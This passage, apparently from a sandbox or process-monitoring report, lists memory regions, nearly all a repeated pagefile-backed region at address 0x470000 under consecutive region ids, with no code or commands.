pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13393 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13394 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13395 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13396 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13397 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13398 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13399 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13400 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13401 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13402 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13403 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13404 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13405 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13406 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13407 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13408 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13409 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13410 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13411 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13412 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13413 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13414 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13415 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13416 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13417 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13418 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13419 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13420 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13421 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13422 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13423 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13424 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13425 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13426 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13427 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13428 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13429 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13430 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13431 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13432 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13433 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13434 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13435 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13436 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13437 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13438 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13439 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13440 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13441 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13442 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13443 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13444 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13445 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13446 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13447 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13448 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13449 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13450 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13451 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13452 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13453 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13454 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13455 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13456 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13457 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13458 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13459 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13460 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13461 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13462 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13463 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13464 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13465 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13466 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13467 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13468 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13469 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13470 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13471 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13472 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13473 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13474 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13475 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13476 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13477 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13478 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13479 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13480 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13481 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13482 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13483 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13484 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13485 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13486 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13487 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13488 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13489 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13490 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13491 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13492 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13493 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13494 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13495 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13496 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13497 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13498 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13499 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13500 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13501 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13502 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13503 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 13504 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13505 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13506 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13507 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13508 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13509 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13510 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13511 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13512 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13513 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13514 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13515 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13516 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13517 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13518 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13519 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13520 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13521 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13522 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13523 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13524 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13525 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13526 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13527 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13528 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13529 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13530 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13531 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13532 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13533 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13534 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13535 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13536 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13537 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13538 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13539 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13540 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13541 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13542 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13543 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13544 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13545 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13546 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13547 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13548 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13549 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13550 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13551 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13552 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13553 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13554 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13555 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13556 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13557 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13558 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13559 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13560 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13561 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13562 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13563 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13564 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13565 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13566 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13567 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13568 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13569 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13570 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13571 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13572 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13573 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13574 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13575 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13576 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13577 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13578 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13579 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13580 start_va = 0x470000 end_va = 